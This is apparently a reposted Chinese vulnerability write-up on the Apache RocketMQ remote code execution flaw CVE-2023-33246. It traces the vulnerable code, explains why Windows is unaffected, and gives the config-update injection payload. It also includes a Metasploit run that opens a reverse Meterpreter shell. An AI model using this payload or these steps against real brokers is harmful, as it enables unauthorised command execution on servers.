技术分析
描述
RocketMQ的多个不同组件,包括NameServer、Broker和Controller,默认情况下会泄露到系统运行所在网络的外联网上,并且无需身份验证即可访问。可以通过使用“更新配置”功能向系统发送任意命令来利用该漏洞,这些命令将在运行应用程序的用户上下文中执行。
易受攻击的版本
Apache RocketMQ 版本易受 RCE 攻击 (CVE-2023-33246):
-
5.1.0 – 5.0.0
-
<= 4.9.5
脆弱的环境
可以使用以下 docker 命令启动易受攻击的环境。NameServer 和 Broker 容器都是必需的:
docker pull apache/rocketmq:4.9.5
docker run --rm--name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.5 sh mqnamesrv
docker run --rm --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.5 sh mqbroker -c /home/rocketmq/rocketmq-4.9.5/conf/broker.conf
Windows 是否容易受到攻击?
简短的回答:不。许多博客对 Unix PoC 发表评论,都说“Apache RocketMQ”容易受到攻击,但没有提及它必须在哪个平台上运行。因此,我认为 Windows 也容易受到攻击,并尝试利用它。
Windows 和 Unix 上的利用路径之间的唯一区别在于FilterServerManager.buildStartCommand(),其中发送到的命令Runtime.getRuntime().exec被构建:
if (RemotingUtil.isWindowsPlatform()) {
return String.format("start /b %s\bin\mqfiltersrv.exe %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
} else {
return String.format("sh %s/bin/startfsrv.sh %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
}
-
Windows 入口点Runtime.getRuntime().exec("start /b <PAYLOAD>")
-
Unix 入口点Runtime.getRuntime().exec("sh <PAYLOAD>")
当我尝试在 Windows 上利用该漏洞时,C:Usersmsfuserlogsrocketmqlogsbroker.log我不断看到以下错误:
java.io.IOException: Cannot run program "start": CreateProcess error=2, The system cannot find the file specified
即使尝试运行更新 RocketMQ 代理配置的愉快路径时,也会出现相同的错误。那是因为在Java中不能start直接在Runtime.getRuntime().exec()
方法中使用命令。该start命令是 Windows 特定命令,Java 运行时无法识别。
这是 RocketMQ 实现中的一个错误。如果他们没有因为我正在写的漏洞的出现而删除整个功能,我会就此向他们提出问题。
您可以在家里尝试以下测试类:
public class MyClass {
public static void main(String[] args) {
try {
String[] cmdArray = {"start", " /b", "C:\Windows\System32\notepad.exe"};
Process process = Runtime.getRuntime().exec(cmdArray);
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
简单编译,执行,看到如下错误:
D:rocketmq>javac MyClass.java
D:rocketmq>java MyClass
Cannot run program "start": CreateProcess error=2, The system cannot find the file specified :
at java.lang.ProcessBuilder.start(Unknown Source)
at java.lang.Runtime.exec(Unknown Source)
at java.lang.Runtime.exec(Unknown Source)
at MyClass.main(MyClass.java:9)
Caused by: java.io.IOException: CreateProcess error=2, The system cannot find the file specified
at java.lang.ProcessImpl.create(Native Method)
at java.lang.ProcessImpl.<init>(Unknown Source)
at java.lang.ProcessImpl.start(Unknown Source)
4 more
漏洞利用详情
补丁差异讲述了一个清晰的故事,FilterServerManager&FilterServerUtil类已从应用程序中完全删除。分析删除的代码,我们发现Runtime.getRuntime().exec(cmdArray)里面有一个潜在的 RCE 入口点FilterServerUtil.callShell()
public class FilterServerUtil {
public static void callShell(final String shellString, final InternalLogger log) {
Process process = null;
try {
String[] cmdArray = splitShellString(shellString);
process = Runtime.getRuntime().exec(cmdArray);
process.waitFor();
log.info("CallShell: <{}> OK", shellString);
} catch (Throwable e) {
log.error("CallShell: readLine IOException, {}", shellString, e);
} finally {
if (null != process)
process.destroy();
}
}
private static String[] splitShellString(final String shellString) {
return shellString.split(" ");
}
}
从那里向后我们可以看到callShell调用 FilterServerManager.createFilterServer()
:
public void createFilterServer() {
int more =
this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
String cmd = this.buildStartCommand();
for (int i = 0; i < more; i++) {
FilterServerUtil.callShell(cmd, log);
}
}
该createFilterServer()方法会根据内部的情况每30秒调用一次FilterServerManager.start()
public void start() {
this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
public void run() {
try {
FilterServerManager.this.createFilterServer();
} catch (Exception e) {
log.error("", e);
}
}
}, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}
执行的命令Runtime.getRuntime().exec
是通过以下方法创建的FilterServerManager.buildStartCommand()
.。从最后一个块中我们可以看到,如果我们利用的系统不是 Windows,则当用户发送更新代理配置的请求时,else运行的命令将sh %s ...替换%s为用户控制的参数。getRocketmqHome()
private String buildStartCommand() {
String config = "";
if (BrokerStartup.configFile != null) {
config = String.format("-c %s", BrokerStartup.configFile);
}
if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr());
}
if (RemotingUtil.isWindowsPlatform()) {
return String.format("start /b %s\bin\mqfiltersrv.exe %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
} else {
return String.format("sh %s/bin/startfsrv.sh %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
}
}
以下是可以发送到 ApacheMQ 的 Broker 组件以更新代理配置或获取远程代码执行的请求。(请注意参数内部的有效负载rocketmqHome
,并且利用所需的二进制标头也不包含在下面的有效负载中)
`{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=1
rocketmqHome=-c $@|sh . echo <Unix payload of your choice :)>`
该漏洞还有一个方面需要注意,在上面callShell您会注意到以下两行:
String[] cmdArray = splitShellString(shellString);
process = Runtime.getRuntime().exec(cmdArray);
FilterServerUtil.splitShellString(final String shellString)定义如下:
private static String[] splitShellString(final String shellString) {
return shellString.split(" ");
}
这意味着如果传入的命令包含空格,它将被分割成一个数组,并且数组的第一个元素将是命令(例如:),sh数组的其余元素将是该命令的参数。获取一长串多个命令,其中所有命令都包含要执行的空格,是 ShellFu 中的一个练习:
-c $@|sh . echo <PAYLOAD CONTAINING SPACES>
argument$@代表传递给脚本或命令的所有参数,直接将 echo 后的值作为$@
一个整体传递,解决了shellString.split
Metasploit 开发
下面是一个易受攻击的 RocketMQ 实例的示例,该实例被apache_rocketmq_update_config 模块定位,以便在用户上下文中建立 Meterpreter 会话rocketmq。
msf6 > use multi/http/apache_rocketmq_update_config
Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_rocketmq_update_config) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(multi/http/apache_rocketmq_update_config) > set lhost 172.16.199.158
lhost => 172.16.199.158
msf6 exploit(multi/http/apache_rocketmq_update_config) > set FETCH_SRVHOST 172.16.199.158
FETCH_SRVHOST => 172.16.199.158
msf6 exploit(multi/http/apache_rocketmq_update_config) > run
Started reverse TCP handler on 172.16.199.158:4444
127.0.0.1:9876 - Running automatic check ("set AutoCheck false" to disable)
127.0.0.1:9876 - The target appears to be vulnerable. RocketMQ version: 4.9.4
127.0.0.1:9876 - autodetection failed, assuming default port of 10911
127.0.0.1:9876 - Executing target: Automatic (Unix In-Memory) with payload cmd/linux/http/x64/meterpreter/reverse_tcp on Broker port: 10911
127.0.0.1:9876 - Payload length: 252, (must not exceed 255 characters)
Sending stage (3045348 bytes) to 172.17.0.3
Meterpreter session 1 opened (172.16.199.158:4444 -> 172.17.0.3:37576) at 2023-06-27 14:49:18 -0700
meterpreter > getuid
Server username: rocketmq
meterpreter > sysinfo
Computer : 172.17.0.3
OS : CentOS 7.9.2009 (Linux 5.15.0-75-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
参考
https://blogs.juniper.net/en-us/threat-research/cve-2023-33246-apache-rocketmq-remote-code-execution-vulnerability
https://blog.csdn.net/qq_41904294/article/details /130987233
原文始发于微信公众号(Ots安全):Apache RocketMQ 版本易受 RCE 攻击 (CVE-2023-33246):
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论